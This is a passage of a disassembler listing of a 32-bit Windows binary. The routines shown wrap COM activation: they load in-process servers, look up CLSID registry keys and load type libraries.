		pop	esi
		leave
		retn
sub_4D92CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D931F	proc near		; CODE XREF: sub_4D93B3+1Fp
					; sub_4D98C0+40p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		and	eax, 1
		test	eax, eax
		jnz	short loc_4D9336
		mov	eax, 80004005h
		jmp	short locret_4D93B1
; ---------------------------------------------------------------------------


loc_4D9336:				; CODE XREF: sub_4D931F+Ej
		push	[ebp+arg_0]
		call	sub_4D2D50
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4D93AC
		push	8
		pop	edx
		mov	ecx, [ebp+var_4]
		call	sub_4D61E1
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4D936C
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax], 80004005h
		mov	eax, 80004005h
		jmp	short locret_4D93B1
; ---------------------------------------------------------------------------


loc_4D936C:				; CODE XREF: sub_4D931F+3Bj
		and	[ebp+var_C], 0
		push	offset aDllgetclassobj ; "DllGetClassObject"
		push	[ebp+var_8]
		call	ds:dword_4E1728	; GetProcAddress
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4D9397
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax], 80004005h
		mov	eax, 80004005h
		jmp	short locret_4D93B1
; ---------------------------------------------------------------------------


loc_4D9397:				; CODE XREF: sub_4D931F+66j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	[ebp+var_C]
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax
		xor	eax, eax
		jmp	short locret_4D93B1
; ---------------------------------------------------------------------------


loc_4D93AC:				; CODE XREF: sub_4D931F+27j
		mov	eax, 80004005h

locret_4D93B1:				; CODE XREF: sub_4D931F+15j
					; sub_4D931F+4Bj ...
		leave
		retn
sub_4D931F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D93B3	proc near		; CODE XREF: sub_4D9518+53p
					; sub_4D9789+43p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		and	[ebp+var_4], 0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_4E11D8
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_4D931F
		add	esp, 18h
		test	eax, eax
		jl	loc_4D9511
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax], 0
		jge	short loc_4D93F4
		mov	eax, [ebp+arg_18]
		mov	eax, [eax]
		jmp	locret_4D9516
; ---------------------------------------------------------------------------


loc_4D93F4:				; CODE XREF: sub_4D93B3+35j
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_14], 0
		and	[ebp+var_8], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_4E11C8
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		push	[ebp+var_4]
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jl	loc_4D94BB
		and	[ebp+var_18], 0
		jmp	short loc_4D9430
; ---------------------------------------------------------------------------


loc_4D9429:				; CODE XREF: sub_4D93B3+F8j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_4D9430:				; CODE XREF: sub_4D93B3+74j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_4D94B0
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		lea	eax, [ecx+eax+4]
		push	eax
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		push	dword ptr [ecx+eax]
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		push	[ebp+var_8]
		call	dword ptr [eax]
		mov	ecx, [ebp+var_18]
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_14]
		mov	[edx+ecx+8], eax
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		cmp	dword ptr [ecx+eax+8], 0
		jl	short loc_4D947F
		mov	[ebp+var_C], 1
		jmp	short loc_4D949C
; ---------------------------------------------------------------------------


loc_4D947F:				; CODE XREF: sub_4D93B3+C4j
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		cmp	dword ptr [ecx+eax+8], 80004002h
		jnz	short loc_4D9498
		mov	[ebp+var_10], 1
		jmp	short loc_4D949C
; ---------------------------------------------------------------------------


loc_4D9498:				; CODE XREF: sub_4D93B3+DDj
		mov	[ebp+var_14], 1


loc_4D949C:				; CODE XREF: sub_4D93B3+CAj
					; sub_4D93B3+E3j
		mov	eax, [ebp+var_18]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		mov	eax, [ecx+eax]
		mov	[ebp+var_1C], eax
		jmp	loc_4D9429
; ---------------------------------------------------------------------------


loc_4D94B0:				; CODE XREF: sub_4D93B3+83j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		push	[ebp+var_8]
		call	dword ptr [eax+8]


loc_4D94BB:				; CODE XREF: sub_4D93B3+6Aj
		movzx	eax, [ebp+var_14]
		test	eax, eax
		jz	short loc_4D94CE
		mov	eax, [ebp+arg_18]
		mov	dword ptr [eax], 80004005h
		jmp	short loc_4D9502
; ---------------------------------------------------------------------------


loc_4D94CE:				; CODE XREF: sub_4D93B3+10Ej
		movzx	eax, [ebp+var_C]
		test	eax, eax
		jz	short loc_4D94E9
		movzx	eax, [ebp+var_10]
		test	eax, eax
		jz	short loc_4D94E9
		mov	eax, [ebp+arg_18]
		mov	dword ptr [eax], 80012h
		jmp	short loc_4D9502
; ---------------------------------------------------------------------------


loc_4D94E9:				; CODE XREF: sub_4D93B3+121j
					; sub_4D93B3+129j
		movzx	eax, [ebp+var_C]
		test	eax, eax
		jz	short loc_4D94F9
		mov	eax, [ebp+arg_18]
		and	dword ptr [eax], 0
		jmp	short loc_4D9502
; ---------------------------------------------------------------------------


loc_4D94F9:				; CODE XREF: sub_4D93B3+13Cj
		mov	eax, [ebp+arg_18]
		mov	dword ptr [eax], 80004002h


loc_4D9502:				; CODE XREF: sub_4D93B3+119j
					; sub_4D93B3+134j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		push	[ebp+var_4]
		call	dword ptr [eax+8]
		xor	eax, eax
		jmp	short locret_4D9516
; ---------------------------------------------------------------------------


loc_4D9511:				; CODE XREF: sub_4D93B3+29j
		mov	eax, 80004005h

locret_4D9516:				; CODE XREF: sub_4D93B3+3Cj
					; sub_4D93B3+15Cj
		leave
		retn
sub_4D93B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D9518	proc near		; DATA XREF: _6:off_4E13E0o

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE578
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_2C], 0
		xor	eax, eax
		lea	edi, [ebp+var_28]
		stosd
		stosd
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4D93B3
		add	esp, 1Ch
		test	eax, eax
		jl	short loc_4D959A
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		push	0FFFFFFFFh
		mov	eax, [ebp+var_24]
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	loc_4D9627
; ---------------------------------------------------------------------------


loc_4D959A:				; CODE XREF: sub_4D9518+5Dj
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_4D95D6
		push	[ebp+arg_0]
		call	sub_4D9638
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_4D95D6
		mov	[ebp+arg_8], 1
		push	[ebp+var_1C]
		call	ds:dword_4E1718	; GetModuleHandleA
		test	eax, eax
		jnz	short loc_4D95D6
		push	8
		push	0
		push	[ebp+var_1C]
		call	sub_4DAE96


loc_4D95D6:				; CODE XREF: sub_4D9518+8Aj
					; sub_4D9518+9Cj ...
		and	[ebp+var_20], 0
		push	offset dword_4DE5DC
		push	offset aCocreateinstan ; "CoCreateInstance"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_20]
		push	0FFFFFFFFh
		mov	[ebp+var_3C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_3C]
		jmp	short loc_4D9627
; ---------------------------------------------------------------------------


loc_4D9615:				; DATA XREF: _5:004DE580o
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_4D83DD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_4D9627:				; CODE XREF: sub_4D9518+7Dj
					; sub_4D9518+FBj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_4D9518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D9638	proc near		; CODE XREF: sub_4D9518+8Fp
					; sub_4D9789+8Fp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004D96A2 SIZE 0000007A BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE588
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_4E6098
		call	ds:dword_4E16C4	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		cmp	ds:dword_4E60B0, 0
		jnz	short loc_4D968B
		push	offset aAdvapi32_dll_0 ; "ADVAPI32.DLL"
		push	offset aRegqueryvaluea ; "RegQueryValueA"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	ds:dword_4E60B0, eax


loc_4D968B:				; CODE XREF: sub_4D9638+3Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D9696
		jmp	short loc_4D96A2
sub_4D9638	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D9696	proc near		; CODE XREF: sub_4D9638+57p
					; DATA XREF: _5:004DE590o
		push	offset dword_4E6098
		call	ds:dword_4E1754	; RtlLeaveCriticalSection
		retn
sub_4D9696	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D9638


loc_4D96A2:				; CODE XREF: sub_4D9638+5Cj
		push	401h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_20], 400h
		mov	ecx, [ebp+var_20]
		xor	eax, eax
		mov	edi, [ebp+var_1C]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		push	[ebp+arg_0]
		call	sub_4D971C
		pop	ecx
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+var_1C]
		push	offset dword_4E5F98
		push	80000000h
		call	ds:dword_4E60B0
		test	eax, eax
		jnz	short loc_4D96FC
		mov	eax, [ebp+var_1C]
		jmp	short loc_4D970D
; ---------------------------------------------------------------------------


loc_4D96FC:				; CODE XREF: sub_4D9638+BDj
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		call	sub_4D83DD
		pop	ecx
		xor	eax, eax


loc_4D970D:				; CODE XREF: sub_4D9638+C2j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4D9638

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D971C	proc near		; CODE XREF: sub_4D9638+9Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Fh]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Eh]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Dh]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Ch]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Bh]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+0Ah]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+9]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+8]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax+6]
		push	eax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax+4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		push	offset aClsid08x04x04x ; "CLSID\\{%08x-%04x-%04x-%02x%02x-%02x%02x"...
		push	offset dword_4E5F98
		call	ds:dword_4E17D4	; wsprintfA
		add	esp, 34h
		pop	ebp
		retn
sub_4D971C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D9789	proc near		; DATA XREF: _6:004E13E8o

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE598
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_2C]
		push	eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4D93B3
		add	esp, 1Ch
		test	eax, eax
		jl	short loc_4D97F3
		push	0FFFFFFFFh
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_38]
		jmp	loc_4D98AF
; ---------------------------------------------------------------------------


loc_4D97F3:				; CODE XREF: sub_4D9789+4Dj
		and	[ebp+var_20], 0
		push	offset dword_4DE5DC
		push	offset aCocreateinst_0 ; "CoCreateInstanceEx"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_4D9847
		push	[ebp+arg_0]
		call	sub_4D9638
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_4D9847
		mov	[ebp+arg_8], 1
		push	[ebp+var_1C]
		call	ds:dword_4E1718	; GetModuleHandleA
		test	eax, eax
		jnz	short loc_4D9847
		push	8
		push	0
		push	[ebp+var_1C]
		call	sub_4DAE96


loc_4D9847:				; CODE XREF: sub_4D9789+8Aj
					; sub_4D9789+9Cj ...
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_20]
		mov	[ebp+var_24], eax
		and	[ebp+var_28], 0
		jmp	short loc_4D986C
; ---------------------------------------------------------------------------


loc_4D9865:				; CODE XREF: sub_4D9789+FAj
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax


loc_4D986C:				; CODE XREF: sub_4D9789+DAj
		mov	eax, [ebp+var_28]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_4D9885
		mov	eax, [ebp+var_28]
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_14]
		mov	eax, [ecx+eax]
		mov	[ebp+var_30], eax
		jmp	short loc_4D9865
; ---------------------------------------------------------------------------


loc_4D9885:				; CODE XREF: sub_4D9789+E9j
		push	0FFFFFFFFh
		mov	eax, [ebp+var_24]
		mov	[ebp+var_3C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_3C]
		jmp	short loc_4D98AF
; ---------------------------------------------------------------------------


loc_4D989D:				; DATA XREF: _5:004DE5A0o
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		push	[ebp+var_34]
		call	sub_4D83DD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_4D98AF:				; CODE XREF: sub_4D9789+65j
					; sub_4D9789+112j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_4D9789	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D98C0	proc near		; DATA XREF: _6:004E13F0o

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE5A8
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4D931F
		add	esp, 18h
		test	eax, eax
		jl	short loc_4D9927
		push	0FFFFFFFFh
		mov	eax, [ebp+var_24]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	loc_4D99B4
; ---------------------------------------------------------------------------


loc_4D9927:				; CODE XREF: sub_4D98C0+4Aj
		mov	eax, [ebp+arg_4]
		and	eax, 1
		test	eax, eax
		jz	short loc_4D9963
		push	[ebp+arg_0]
		call	sub_4D9638
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_4D9963
		mov	[ebp+arg_4], 1
		push	[ebp+var_1C]
		call	ds:dword_4E1718	; GetModuleHandleA
		test	eax, eax
		jnz	short loc_4D9963
		push	8
		push	0
		push	[ebp+var_1C]
		call	sub_4DAE96


loc_4D9963:				; CODE XREF: sub_4D98C0+6Fj
					; sub_4D98C0+81j ...
		and	[ebp+var_20], 0
		push	offset dword_4DE5DC
		push	offset aCogetclassobje ; "CoGetClassObject"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_20]
		push	0FFFFFFFFh
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_30]
		jmp	short loc_4D99B4
; ---------------------------------------------------------------------------


loc_4D99A2:				; DATA XREF: _5:004DE5B0o
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		call	sub_4D83DD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_4D99B4:				; CODE XREF: sub_4D98C0+62j
					; sub_4D98C0+E0j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_4D98C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D99C5	proc near		; CODE XREF: sub_4D9A34+9Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_8], 80070057h
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	[ebp+arg_0]
		call	dword ptr [eax+18h]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jl	short loc_4D9A2F
		and	[ebp+var_C], 0
		push	offset dword_4DE5F8
		push	offset aGetrecordinfof ; "GetRecordInfoFromTypeInfo"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4D9A28
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	[ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		push	[ebp+var_4]
		call	dword ptr [eax+8]
		jmp	short loc_4D9A2F
; ---------------------------------------------------------------------------


loc_4D9A28:				; CODE XREF: sub_4D99C5+48j
		mov	[ebp+var_8], 80004005h


loc_4D9A2F:				; CODE XREF: sub_4D99C5+2Aj
					; sub_4D99C5+61j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_4D99C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D9A34	proc near		; DATA XREF: _6:off_4E13F8o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		mov	[ebp+var_4], 80004005h
		push	[ebp+arg_0]
		call	sub_4D2D50
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	loc_4D9AFD
		and	[ebp+var_10], 0
		mov	edi, [ebp+var_8]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_18], ecx
		push	208h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		mov	ecx, 82h
		xor	eax, eax
		mov	edi, [ebp+var_14]
		rep stosd
		push	104h
		push	[ebp+var_14]
		push	0FFFFFFFFh
		push	[ebp+var_8]
		push	0
		push	0
		call	ds:dword_4E1770	; MultiByteToWideChar
		push	offset dword_4DE5F8
		push	offset aLoadtypelib ; "LoadTypeLib"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_14]
		call	[ebp+var_C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jl	short loc_4D9AE9
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+var_10]
		call	sub_4D99C5
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax]
		push	[ebp+var_10]
		call	dword ptr [eax+8]


loc_4D9AE9:				; CODE XREF: sub_4D9A34+94j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_24], eax
		push	[ebp+var_24]
		call	sub_4D83DD
		pop	ecx
		mov	eax, [ebp+var_4]
		jmp	short loc_4D9B37
; ---------------------------------------------------------------------------


loc_4D9AFD:				; CODE XREF: sub_4D9A34+1Ej
		and	[ebp+var_1C], 0
		push	offset dword_4DE5F8
		push	offset aGetrecordinf_0 ; "GetRecordInfoFromGuids"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_4D9B32
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_1C]
		jmp	short loc_4D9B37
; ---------------------------------------------------------------------------


loc_4D9B32:				; CODE XREF: sub_4D9A34+E5j
		mov	eax, 80004005h


loc_4D9B37:				; CODE XREF: sub_4D9A34+C7j
					; sub_4D9A34+FCj
		pop	edi
		leave
		retn	18h
sub_4D9A34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D9B3C	proc near		; DATA XREF: _6:004E1400o

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_8], 80004005h
		push	[ebp+arg_0]
		call	sub_4D2D50
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4D9BB5
		push	208h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_10], eax
		push	104h
		push	[ebp+var_10]
		push	0FFFFFFFFh
		push	[ebp+var_4]
		push	0
		push	0
		call	ds:dword_4E1770	; MultiByteToWideChar
		push	offset dword_4DE5F8
		push	offset aLoadtypelib ; "LoadTypeLib"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_10]
		push	[ebp+var_10]
		call	[ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		call	sub_4D83DD
		pop	ecx


loc_4D9BB5:				; CODE XREF: sub_4D9B3C+1Dj
		cmp	[ebp+var_8], 0
		jge	short loc_4D9BE4
		push	offset dword_4DE5F8
		push	offset aLoadregtypelib ; "LoadRegTypeLib"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_14]
		mov	[ebp+var_8], eax


loc_4D9BE4:				; CODE XREF: sub_4D9B3C+7Dj
		mov	eax, [ebp+var_8]
		leave
		retn	14h
sub_4D9B3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D9BEB	proc near		; CODE XREF: sub_4D9C22+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
